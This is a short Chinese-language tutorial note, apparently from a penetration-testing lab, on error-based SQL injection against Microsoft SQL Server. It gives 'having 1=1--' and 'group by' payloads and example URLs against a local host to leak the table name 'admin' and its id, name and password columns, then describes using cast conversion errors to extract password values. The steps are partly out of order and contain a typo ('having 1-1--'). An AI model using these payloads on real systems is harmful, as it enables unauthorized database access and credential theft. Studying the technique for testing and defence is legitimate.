having与group by查询爆表名和字段名
在注入点地址后提交“having 1=1--",从返回的错误信息中即可得到当前表名与第一个字段名。再继续提交以下代码。
group by 字段名 1 having 1-1--group by 字段名1,字段名2 having 1=1--
返回第三个字段名。继续提交以下代码。group by 字段名1,字段名2,字段名3…字段名n having 1=1--
直到页面返回正常信息,即可得到所有的字段名。
从页面返回的错误信息中,即可得知第二个字段名。继续提交以下代码。
继续猜解其他字段名,提交以下链接。
http://192.168.1.55/sqlserver/1.aspx?xxser=1 group by admin.id having 1=1--
继续猜解当前表中的下一个字段名。
http://192.168.1.55/sqlserver/1.aspx?xxser=1 group by admin.id,admin.name having 1=1--
- 得到当前表有三个字段以及表名(表名:admin 字段有 id,name,password )在通过数据类型转换报错得到报错信息 从而爆破字段内容
- 获取密码:原理是password为字符型,但是内容为数值型字符在mssql可以转化为数值型数据不会报错 我们可以利用cast函数在password后加一个字符让password内容不再为全数值型字符 然后在进行数值型数据做对比 得到报错信息